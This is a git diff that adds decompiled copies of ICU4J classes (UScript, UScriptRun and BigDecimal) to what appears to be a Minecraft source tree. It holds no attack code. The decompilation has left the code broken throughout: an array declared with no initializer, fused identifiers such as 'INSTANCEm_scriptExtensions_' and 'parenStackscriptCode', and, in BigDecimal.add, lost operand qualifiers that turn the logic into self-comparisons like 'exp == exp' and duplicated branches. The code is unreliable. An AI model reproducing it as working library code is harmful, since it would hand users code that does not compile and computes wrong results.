+    if ((rb.getLoadingStatus() == 3) && (!locale.equals(ULocale.getDefault()))) {
+      return null;
+    }
+    UResourceBundle sub = rb.get("LocaleScript");
+    
+    int[] result = new int[sub.getSize()];
+    int w = 0;
+    for (int i = 0; i < result.length; i++) {
+      int code = UCharacter.getPropertyValueEnum(4106, sub.getString(i));
+      
+      result[(w++)] = code;
+    }
+    
+
+    if (w < result.length) {
+      throw new IllegalStateException("bad locale data, listed " + result.length + " scripts but found only " + w);
+    }
+    
+
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public static final int[] getCode(Locale locale)
+  {
+    return findCodeFromLocale(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+  public static final int[] getCode(ULocale locale)
+  {
+    return findCodeFromLocale(locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static final int[] getCode(String nameOrAbbrOrLocale)
+  {
+    try
+    {
+      return new int[] { UCharacter.getPropertyValueEnum(4106, nameOrAbbrOrLocale) };
+    }
+    catch (IllegalArgumentException e) {}
+    
+
+    return findCodeFromLocale(new ULocale(nameOrAbbrOrLocale));
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final int getCodeFromName(String nameOrAbbr)
+  {
+    try
+    {
+      return UCharacter.getPropertyValueEnum(4106, nameOrAbbr);
+    }
+    catch (IllegalArgumentException e) {}
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public static final int getScript(int codepoint)
+  {
+    if (((codepoint >= 0 ? 1 : 0) & (codepoint <= 1114111 ? 1 : 0)) != 0) {
+      int scriptX = UCharacterProperty.INSTANCE.getAdditional(codepoint, 0) & 0xC000FF;
+      if (scriptX < 4194304)
+        return scriptX;
+      if (scriptX < 8388608)
+        return 0;
+      if (scriptX < 12582912) {
+        return 1;
+      }
+      return INSTANCEm_scriptExtensions_[(scriptX & 0xFF)];
+    }
+    
+    throw new IllegalArgumentException(Integer.toString(codepoint));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final boolean hasScript(int c, int sc)
+  {
+    int scriptX = UCharacterProperty.INSTANCE.getAdditional(c, 0) & 0xC000FF;
+    if (scriptX < 4194304) {
+      return sc == scriptX;
+    }
+    
+    char[] scriptExtensions = INSTANCEm_scriptExtensions_;
+    int scx = scriptX & 0xFF;
+    if (scriptX >= 12582912) {
+      scx = scriptExtensions[(scx + 1)];
+    }
+    if (sc > 32767)
+    {
+
+      return false;
+    }
+    while (sc > scriptExtensions[scx]) {
+      scx++;
+    }
+    return sc == (scriptExtensions[scx] & 0x7FFF);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final int getScriptExtensions(int c, BitSet set)
+  {
+    set.clear();
+    int scriptX = UCharacterProperty.INSTANCE.getAdditional(c, 0) & 0xC000FF;
+    if (scriptX < 4194304) {
+      set.set(scriptX);
+      return scriptX;
+    }
+    
+    char[] scriptExtensions = INSTANCEm_scriptExtensions_;
+    int scx = scriptX & 0xFF;
+    if (scriptX >= 12582912) {
+      scx = scriptExtensions[(scx + 1)];
+    }
+    int length = 0;
+    int sx;
+    do {
+      sx = scriptExtensions[(scx++)];
+      set.set(sx & 0x7FFF);
+      length++;
+    } while (sx < 32768);
+    
+    return -length;
+  }
+  
+
+
+
+
+
+
+  public static final String getName(int scriptCode)
+  {
+    return UCharacter.getPropertyValueName(4106, scriptCode, 1);
+  }
+  
+
+
+
+
+
+
+
+
+  public static final String getShortName(int scriptCode)
+  {
+    return UCharacter.getPropertyValueName(4106, scriptCode, 0);
+  }
+  
+
+
+  private static final class ScriptMetadata
+  {
+    private static final int UNKNOWN = 2097152;
+    
+
+    private static final int EXCLUSION = 4194304;
+    
+
+    private static final int LIMITED_USE = 6291456;
+    
+    private static final int ASPIRATIONAL = 8388608;
+    
+    private static final int RECOMMENDED = 10485760;
+    
+    private static final int RTL = 16777216;
+    
+    private static final int LB_LETTERS = 33554432;
+    
+    private static final int CASED = 67108864;
+    
+    private static final int[] SCRIPT_PROPS = { 2097216, 2097928, 27264552, 77595953, 10488213, 44052741, 6296516, 71304162, 77595695, 71369748, 10488069, 10490528, 10490067, 4260656, 77595561, 10488469, 10488341, 44063575, 10529792, 27264464, 44052555, 10488981, 44052651, 44046208, 44043941, 77594700, 10489109, 8394790, 44044288, 4200079, 4260608, 10488597, 4200096, 10489221, 23070480, 10488725, 10488853, 27264908, 44043799, 10489664, 8393920, 41984648, 4200195, 4200227, 4200259, 4200291, 2107392, 21039104, 6297856, 4259840, 4260992, 4260944, 39852368, 4260736, 0, 4200960, 71314432, 21039616, 6334464, 39852416, 8400176, 4260768, 39852805, 6298560, 0, 4263941, 6334976, 0, 0, 0, 0, 4272467, 0, 44063575, 44063575, 0, 0, 0, 39889284, 6334730, 0, 0, 6298624, 0, 23070784, 0, 21039488, 23070666, 21040128, 0, 4237376, 21039360, 8482560, 0, 0, 0, 0, 0, 0, 6333769, 0, 4268032, 0, 2162128, 4260512, 44052555, 39852576, 4260480, 21039392, 6298714, 4237616, 6334594, 0, 6298499, 0, 6335424, 21039168, 21039872, 6361347, 10529792, 4264067, 0, 21039968, 0, 0, 21039936, 20973568, 39889536, 0, 0, 6334112, 6333648, 0, 21039712, 0, 0, 0, 0, 0, 0, 0, 21039520, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4264323, 4264144, 4265600, 0, 0, 0, 0, 0 };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private ScriptMetadata() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private static final int getScriptProps(int script)
+    {
+      if ((0 <= script) && (script < SCRIPT_PROPS.length)) {
+        return SCRIPT_PROPS[script];
+      }
+      return 0;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static enum ScriptUsage
+  {
+    NOT_ENCODED, 
+    
+
+
+
+
+    UNKNOWN, 
+    
+
+
+
+
+    EXCLUDED, 
+    
+
+
+
+
+    LIMITED_USE, 
+    
+
+
+
+
+    ASPIRATIONAL, 
+    
+
+
+
+
+    RECOMMENDED;
+    private ScriptUsage() {} }
+  private static final ScriptUsage[] usageValues = ;
+  
+
+
+
+
+
+
+
+
+
+  public static final String getSampleString(int script)
+  {
+    int sampleChar = ScriptMetadata.getScriptProps(script) & 0x1FFFFF;
+    if (sampleChar != 0) {
+      return new StringBuilder().appendCodePoint(sampleChar).toString();
+    }
+    return "";
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final ScriptUsage getUsage(int script)
+  {
+    return usageValues[(ScriptMetadata.getScriptProps(script) >> 21 & 0x7)];
+  }
+  
+
+
+
+
+
+
+
+
+  public static final boolean isRightToLeft(int script)
+  {
+    return (ScriptMetadata.getScriptProps(script) & 0x1000000) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final boolean breaksBetweenLetters(int script)
+  {
+    return (ScriptMetadata.getScriptProps(script) & 0x2000000) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final boolean isCased(int script)
+  {
+    return (ScriptMetadata.getScriptProps(script) & 0x4000000) != 0;
+  }
+  
+  private UScript() {}
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UScriptRun.java b/src/minecraft/com/ibm/icu/lang/UScriptRun.java
new file mode 100644
index 0000000..27e7b3a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UScriptRun.java
@@ -0,0 +1,627 @@
+package com.ibm.icu.lang;
+
+import com.ibm.icu.text.UTF16;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public final class UScriptRun
+{
+  /**
+   * @deprecated
+   */
+  public UScriptRun()
+  {
+    char[] nullChars = null;
+    
+    reset(nullChars, 0, 0);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public UScriptRun(String text)
+  {
+    reset(text);
+  }
+  
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public UScriptRun(String text, int start, int count)
+  {
+    reset(text, start, count);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public UScriptRun(char[] chars)
+  {
+    reset(chars);
+  }
+  
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public UScriptRun(char[] chars, int start, int count)
+  {
+    reset(chars, start, count);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final void reset()
+  {
+    while (stackIsNotEmpty()) {
+      pop();
+    }
+    
+    scriptStart = textStart;
+    scriptLimit = textStart;
+    scriptCode = -1;
+    parenSP = -1;
+    pushCount = 0;
+    fixupCount = 0;
+    
+    textIndex = textStart;
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final void reset(int start, int count)
+    throws IllegalArgumentException
+  {
+    int len = 0;
+    
+    if (text != null) {
+      len = text.length;
+    }
+    
+    if ((start < 0) || (count < 0) || (start > len - count)) {
+      throw new IllegalArgumentException();
+    }
+    
+    textStart = start;
+    textLimit = (start + count);
+    
+    reset();
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final void reset(char[] chars, int start, int count)
+  {
+    if (chars == null) {
+      chars = emptyCharArray;
+    }
+    
+    text = chars;
+    
+    reset(start, count);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final void reset(char[] chars)
+  {
+    int length = 0;
+    
+    if (chars != null) {
+      length = chars.length;
+    }
+    
+    reset(chars, 0, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final void reset(String str, int start, int count)
+  {
+    char[] chars = null;
+    
+    if (str != null) {
+      chars = str.toCharArray();
+    }
+    
+    reset(chars, start, count);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final void reset(String str)
+  {
+    int length = 0;
+    
+    if (str != null) {
+      length = str.length();
+    }
+    
+    reset(str, 0, length);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final int getScriptStart()
+  {
+    return scriptStart;
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final int getScriptLimit()
+  {
+    return scriptLimit;
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final int getScriptCode()
+  {
+    return scriptCode;
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final boolean next()
+  {
+    if (scriptLimit >= textLimit) {
+      return false;
+    }
+    
+    scriptCode = 0;
+    scriptStart = scriptLimit;
+    
+    syncFixup();
+    
+    while (textIndex < textLimit) {
+      int ch = UTF16.charAt(text, textStart, textLimit, textIndex - textStart);
+      int codePointCount = UTF16.getCharCount(ch);
+      int sc = UScript.getScript(ch);
+      int pairIndex = getPairIndex(ch);
+      
+      textIndex += codePointCount;
+      
+
+
+
+
+
+
+      if (pairIndex >= 0) {
+        if ((pairIndex & 0x1) == 0) {
+          push(pairIndex, scriptCode);
+        } else {
+          int pi = pairIndex & 0xFFFFFFFE;
+          
+          while ((stackIsNotEmpty()) && (toppairIndex != pi)) {
+            pop();
+          }
+          
+          if (stackIsNotEmpty()) {
+            sc = topscriptCode;
+          }
+        }
+      }
+      
+      if (sameScript(scriptCode, sc)) {
+        if ((scriptCode <= 1) && (sc > 1)) {
+          scriptCode = sc;
+          
+          fixup(scriptCode);
+        }
+        
+
+
+        if ((pairIndex >= 0) && ((pairIndex & 0x1) != 0)) {
+          pop();
+        }
+        
+      }
+      else
+      {
+        textIndex -= codePointCount;
+        break;
+      }
+    }
+    
+    scriptLimit = textIndex;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static boolean sameScript(int scriptOne, int scriptTwo)
+  {
+    return (scriptOne <= 1) || (scriptTwo <= 1) || (scriptOne == scriptTwo);
+  }
+  
+
+  private static final class ParenStackEntry
+  {
+    int pairIndex;
+    
+    int scriptCode;
+    
+
+    public ParenStackEntry(int thePairIndex, int theScriptCode)
+    {
+      pairIndex = thePairIndex;
+      scriptCode = theScriptCode;
+    }
+  }
+  
+  private static final int mod(int sp)
+  {
+    return sp % PAREN_STACK_DEPTH;
+  }
+  
+  private static final int inc(int sp, int count)
+  {
+    return mod(sp + count);
+  }
+  
+  private static final int inc(int sp)
+  {
+    return inc(sp, 1);
+  }
+  
+  private static final int dec(int sp, int count)
+  {
+    return mod(sp + PAREN_STACK_DEPTH - count);
+  }
+  
+  private static final int dec(int sp)
+  {
+    return dec(sp, 1);
+  }
+  
+  private static final int limitInc(int count)
+  {
+    if (count < PAREN_STACK_DEPTH) {
+      count++;
+    }
+    
+    return count;
+  }
+  
+  private final boolean stackIsEmpty()
+  {
+    return pushCount <= 0;
+  }
+  
+  private final boolean stackIsNotEmpty()
+  {
+    return !stackIsEmpty();
+  }
+  
+  private final void push(int pairIndex, int scrptCode)
+  {
+    pushCount = limitInc(pushCount);
+    fixupCount = limitInc(fixupCount);
+    
+    parenSP = inc(parenSP);
+    parenStack[parenSP] = new ParenStackEntry(pairIndex, scrptCode);
+  }
+  
+
+  private final void pop()
+  {
+    if (stackIsEmpty()) {
+      return;
+    }
+    
+    parenStack[parenSP] = null;
+    
+    if (fixupCount > 0) {
+      fixupCount -= 1;
+    }
+    
+    pushCount -= 1;
+    parenSP = dec(parenSP);
+    
+
+
+    if (stackIsEmpty()) {
+      parenSP = -1;
+    }
+  }
+  
+  private final ParenStackEntry top()
+  {
+    return parenStack[parenSP];
+  }
+  
+  private final void syncFixup()
+  {
+    fixupCount = 0;
+  }
+  
+  private final void fixup(int scrptCode)
+  {
+    int fixupSP = dec(parenSP, fixupCount);
+    
+    while (fixupCount-- > 0) {
+      fixupSP = inc(fixupSP);
+      parenStackscriptCode = scrptCode;
+    }
+  }
+  
+  private char[] emptyCharArray = new char[0];
+  
+  private char[] text;
+  
+  private int textIndex;
+  
+  private int textStart;
+  
+  private int textLimit;
+  private int scriptStart;
+  private int scriptLimit;
+  private int scriptCode;
+  private static int PAREN_STACK_DEPTH = 32;
+  private static ParenStackEntry[] parenStack = new ParenStackEntry[PAREN_STACK_DEPTH];
+  private int parenSP = -1;
+  private int pushCount = 0;
+  private int fixupCount = 0;
+  
+
+
+
+
+
+
+
+  private static final byte highBit(int n)
+  {
+    if (n <= 0) {
+      return -32;
+    }
+    
+    byte bit = 0;
+    
+    if (n >= 65536) {
+      n >>= 16;
+      bit = (byte)(bit + 16);
+    }
+    
+    if (n >= 256) {
+      n >>= 8;
+      bit = (byte)(bit + 8);
+    }
+    
+    if (n >= 16) {
+      n >>= 4;
+      bit = (byte)(bit + 4);
+    }
+    
+    if (n >= 4) {
+      n >>= 2;
+      bit = (byte)(bit + 2);
+    }
+    
+    if (n >= 2) {
+      n >>= 1;
+      bit = (byte)(bit + 1);
+    }
+    
+    return bit;
+  }
+  
+
+
+
+
+
+
+  private static int getPairIndex(int ch)
+  {
+    int probe = pairedCharPower;
+    int index = 0;
+    
+    if (ch >= pairedChars[pairedCharExtra]) {
+      index = pairedCharExtra;
+    }
+    
+    while (probe > 1) {
+      probe >>= 1;
+      
+      if (ch >= pairedChars[(index + probe)]) {
+        index += probe;
+      }
+    }
+    
+    if (pairedChars[index] != ch) {
+      index = -1;
+    }
+    
+    return index;
+  }
+  
+  private static int[] pairedChars = { 40, 41, 60, 62, 91, 93, 123, 125, 171, 187, 8216, 8217, 8220, 8221, 8249, 8250, 12296, 12297, 12298, 12299, 12300, 12301, 12302, 12303, 12304, 12305, 12308, 12309, 12310, 12311, 12312, 12313, 12314, 12315 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int pairedCharPower = 1 << highBit(pairedChars.length);
+  private static int pairedCharExtra = pairedChars.length - pairedCharPower;
+}
diff --git a/src/minecraft/com/ibm/icu/math/BigDecimal.java b/src/minecraft/com/ibm/icu/math/BigDecimal.java
new file mode 100644
index 0000000..8e69471
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/math/BigDecimal.java
@@ -0,0 +1,4023 @@
+package com.ibm.icu.math;
+
+import com.ibm.icu.lang.UCharacter;
+import java.io.Serializable;
+import java.math.BigInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BigDecimal
+  extends Number
+  implements Serializable, Comparable<BigDecimal>
+{
+  public static final BigDecimal ZERO = new BigDecimal(0L);
+  
+
+
+
+
+
+
+
+
+
+
+  public static final BigDecimal ONE = new BigDecimal(1L);
+  
+
+
+
+
+
+
+
+
+
+
+  public static final BigDecimal TEN = new BigDecimal(10);
+  
+
+
+
+  public static final int ROUND_CEILING = 2;
+  
+
+
+
+  public static final int ROUND_DOWN = 1;
+  
+
+
+
+  public static final int ROUND_FLOOR = 3;
+  
+
+
+
+  public static final int ROUND_HALF_DOWN = 5;
+  
+
+
+
+  public static final int ROUND_HALF_EVEN = 6;
+  
+
+
+
+  public static final int ROUND_HALF_UP = 4;
+  
+
+
+
+  public static final int ROUND_UNNECESSARY = 7;
+  
+
+
+
+  public static final int ROUND_UP = 0;
+  
+
+
+
+  private static final byte ispos = 1;
+  
+
+
+
+  private static final byte iszero = 0;
+  
+
+
+
+  private static final byte isneg = -1;
+  
+
+
+
+  private static final int MinExp = -999999999;
+  
+
+
+
+  private static final int MaxExp = 999999999;
+  
+
+
+
+  private static final int MinArg = -999999999;
+  
+
+
+  private static final int MaxArg = 999999999;
+  
+
+
+  private static final MathContext plainMC = new MathContext(0, 0);
+  
+
+
+
+
+  private static final long serialVersionUID = 8245355804974198832L;
+  
+
+
+
+
+  private static byte[] bytecar = new byte['¾'];
+  private static byte[] bytedig = diginit();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte ind;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte form = 0;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte[] mant;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int exp;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(java.math.BigDecimal bd)
+  {
+    this(bd.toString());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(BigInteger bi)
+  {
+    this(bi.toString(10));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(BigInteger bi, int scale)
+  {
+    this(bi.toString(10));
+    if (scale < 0)
+      throw new NumberFormatException("Negative scale: " + scale);
+    exp = (-scale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(char[] inchars)
+  {
+    this(inchars, 0, inchars.length);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(char[] inchars, int offset, int length)
+  {
+    int i = 0;
+    char si = '\000';
+    boolean eneg = false;
+    int k = 0;
+    int elen = 0;
+    int j = 0;
+    char sj = '\000';
+    int dvalue = 0;
+    int mag = 0;
+    
+
+
+
+
+
+    if (length <= 0) {
+      bad(inchars);
+    }
+    
+
+    ind = 1;
+    if (inchars[offset] == '-') {
+      length--;
+      if (length == 0)
+        bad(inchars);
+      ind = -1;
+      offset++;
+    } else if (inchars[offset] == '+') {
+      length--;
+      if (length == 0)
+        bad(inchars);
+      offset++;
+    }
+    
+
+    boolean exotic = false;
+    boolean hadexp = false;
+    int d = 0;
+    int dotoff = -1;
+    int last = -1;
+    
+    int $1 = length;
+    for (i = offset; 
+        $1 > 0; i++) {
+      si = inchars[i];
+      if ((si >= '0') && 
+        (si <= '9')) {
+        last = i;
+        d++;
+
+      }
+      else if (si == '.') {
+        if (dotoff >= 0)
+          bad(inchars);
+        dotoff = i - offset;
+
+      }
+      else if ((si != 'e') && 
+        (si != 'E')) {
+        if (!UCharacter.isDigit(si)) {
+          bad(inchars);
+        }
+        exotic = true;
+        last = i;
+        d++;
+
+      }
+      else
+      {
+        if (i - offset > length - 2)
+          bad(inchars);
+        eneg = false;
+        if (inchars[(i + 1)] == '-') {
+          eneg = true;
+          k = i + 2;
+        } else if (inchars[(i + 1)] == '+') {
+          k = i + 2;
+        } else {
+          k = i + 1;
+        }
+        elen = length - (k - offset);
+        if (((elen == 0 ? 1 : 0) | (elen > 9 ? 1 : 0)) != 0) {
+          bad(inchars);
+        }
+        int $2 = elen;
+        for (j = k; 
+            $2 > 0; j++) {
+          sj = inchars[j];
+          if (sj < '0')
+            bad(inchars);
+          if (sj > '9') {
+            if (!UCharacter.isDigit(sj))
+              bad(inchars);
+            dvalue = UCharacter.digit(sj, 10);
+            if (dvalue < 0)
+              bad(inchars);
+          } else {
+            dvalue = sj - '0'; }
+          exp = (exp * 10 + dvalue);$2--;
+        }
+        
+        if (eneg)
+          exp = (-exp);
+        hadexp = true;
+        break;
+      }
+      $1--;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (d == 0)
+      bad(inchars);
+    if (dotoff >= 0) {
+      exp = (exp + dotoff - d);
+    }
+    
+
+    int $3 = last - 1;
+    for (i = offset; 
+        i <= $3; i++) {
+      si = inchars[i];
+      if (si == '0') {
+        offset++;
+        dotoff--;
+        d--;
+      } else if (si == '.') {
+        offset++;
+        dotoff--;
+      } else { if (si <= '9') {
+          break;
+        }
+        if (UCharacter.digit(si, 10) != 0) {
+          break;
+        }
+        offset++;
+        dotoff--;
+        d--;
+      }
+    }
+    
+
+
+    mant = new byte[d];
+    j = offset;
+    if (exotic)
+    {
+
+      int $4 = d;
+      for (i = 0; 
+          $4 > 0; i++) {
+        if (i == dotoff)
+          j++;
+        sj = inchars[j];
+        if (sj <= '9') {
+          mant[i] = ((byte)(sj - '0'));
+        } else {
+          dvalue = UCharacter.digit(sj, 10);
+          if (dvalue < 0)
+            bad(inchars);
+          mant[i] = ((byte)dvalue);
+        }
+        j++;$4--;
+      }
+      
+
+    }
+    else
+    {
+
+      int $5 = d;
+      for (i = 0; 
+          $5 > 0; i++) {
+        if (i == dotoff)
+          j++;
+        mant[i] = ((byte)(inchars[j] - '0'));
+        j++;$5--;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    if (mant[0] == 0) {
+      ind = 0;
+      
+      if (exp > 0)
+        exp = 0;
+      if (hadexp) {
+        mant = ZEROmant;
+        exp = 0;
+      }
+      
+
+    }
+    else if (hadexp) {
+      form = 1;
+      
+      mag = exp + mant.length - 1;
+      if (((mag < -999999999 ? 1 : 0) | (mag > 999999999 ? 1 : 0)) != 0) {
+        bad(inchars);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(double num)
+  {
+    this(new java.math.BigDecimal(num).toString());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(int num)
+  {
+    int i = 0;
+    
+    if ((num <= 9) && 
+      (num >= -9))
+    {
+
+
+      if (num == 0) {
+        mant = ZEROmant;
+        ind = 0;
+      } else if (num == 1) {
+        mant = ONEmant;
+        ind = 1;
+      } else if (num == -1) {
+        mant = ONEmant;
+        ind = -1;
+      }
+      else {
+        mant = new byte[1];
+        if (num > 0) {
+          mant[0] = ((byte)num);
+          ind = 1;
+        } else {
+          mant[0] = ((byte)-num);
+          ind = -1;
+        }
+      }
+      
+
+      return;
+    }
+    
+
+
+    if (num > 0) {
+      ind = 1;
+      num = -num;
+    } else {
+      ind = -1;
+    }
+    
+
+    int mun = num;
+    
+    i = 9;
+    for (;; i--) {
+      mun /= 10;
+      if (mun == 0) {
+        break;
+      }
+    }
+    
+    mant = new byte[10 - i];
+    
+    i = 10 - i - 1;
+    for (;; i--) {
+      mant[i] = ((byte)-(byte)(num % 10));
+      num /= 10;
+      if (num == 0) {
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(long num)
+  {
+    int i = 0;
+    
+
+
+
+    if (num > 0L) {
+      ind = 1;
+      num = -num;
+    } else if (num == 0L) {
+      ind = 0;
+    } else {
+      ind = -1; }
+    long mun = num;
+    
+    i = 18;
+    for (;; i--) {
+      mun /= 10L;
+      if (mun == 0L) {
+        break;
+      }
+    }
+    
+    mant = new byte[19 - i];
+    
+    i = 19 - i - 1;
+    for (;; i--) {
+      mant[i] = ((byte)-(byte)(int)(num % 10L));
+      num /= 10L;
+      if (num == 0L) {
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal(String string)
+  {
+    this(string.toCharArray(), 0, string.length());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private BigDecimal() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal abs()
+  {
+    return abs(plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal abs(MathContext set)
+  {
+    if (ind == -1)
+      return negate(set);
+    return plus(set);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal add(BigDecimal rhs)
+  {
+    return add(rhs, plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal add(BigDecimal rhs, MathContext set)
+  {
+    int newlen = 0;
+    int tlen = 0;
+    int mult = 0;
+    byte[] t = null;
+    int ia = 0;
+    int ib = 0;
+    int ea = 0;
+    int eb = 0;
+    byte ca = 0;
+    byte cb = 0;
+    
+    if (lostDigits)
+      checkdigits(rhs, digits);
+    BigDecimal lhs = this;
+    
+
+
+    if ((ind == 0) && 
+      (form != 0))
+      return rhs.plus(set);
+    if ((ind == 0) && 
+      (form != 0)) {
+      return lhs.plus(set);
+    }
+    
+    int reqdig = digits;
+    if (reqdig > 0) {
+      if (mant.length > reqdig)
+        lhs = clone(lhs).round(set);
+      if (mant.length > reqdig) {
+        rhs = clone(rhs).round(set);
+      }
+    }
+    
+    BigDecimal res = new BigDecimal();
+    
+
+
+
+
+
+
+
+
+    byte[] usel = mant;
+    int usellen = mant.length;
+    byte[] user = mant;
+    int userlen = mant.length;
+    
+
+    if (exp == exp)
+    {
+      exp = exp;
+    } else if (exp > exp) {
+      newlen = usellen + exp - exp;
+      
+
+
+
+      if ((newlen >= userlen + reqdig + 1) && 
+        (reqdig > 0))
+      {
+        mant = usel;
+        exp = exp;
+        ind = ind;
+        if (usellen < reqdig) {
+          mant = extend(mant, reqdig);
+          exp -= reqdig - usellen;
+        }
+        return res.finish(set, false);
+      }
+      
+      exp = exp;
+      if ((newlen > reqdig + 1) && 
+        (reqdig > 0))
+      {
+        tlen = newlen - reqdig - 1;
+        userlen -= tlen;
+        exp += tlen;
+        newlen = reqdig + 1;
+      }
+      if (newlen > usellen)
+        usellen = newlen;
+    } else {
+      newlen = userlen + exp - exp;
+      if ((newlen >= usellen + reqdig + 1) && 
+        (reqdig > 0))
+      {
+        mant = user;
+        exp = exp;
+        ind = ind;
+        if (userlen < reqdig) {
+          mant = extend(mant, reqdig);
+          exp -= reqdig - userlen;
+        }
+        return res.finish(set, false);
+      }
+      
+      exp = exp;
+      if ((newlen > reqdig + 1) && 
+        (reqdig > 0))
+      {
+        tlen = newlen - reqdig - 1;
+        usellen -= tlen;
+        exp += tlen;
+        newlen = reqdig + 1;
+      }
+      if (newlen > userlen) {
+        userlen = newlen;
+      }
+    }
+    
+
+
+
+
+
+    if (ind == 0) {
+      ind = 1;
+    } else
+      ind = ind;
+    if ((ind == -1 ? 1 : 0) == (ind == -1 ? 1 : 0)) {
+      mult = 1;
+    }
+    else {
+      mult = -1;
+      
+
+
+
+
+
+      if (ind != 0)
+      {
+        if (((usellen < userlen ? 1 : 0) | (ind == 0 ? 1 : 0)) != 0) {
+          t = usel;
+          usel = user;
+          user = t;
+          tlen = usellen;
+          usellen = userlen;
+          userlen = tlen;
+          ind = ((byte)-ind);
+        } else if (usellen <= userlen)
+        {
+
+
+
+          ia = 0;
+          ib = 0;
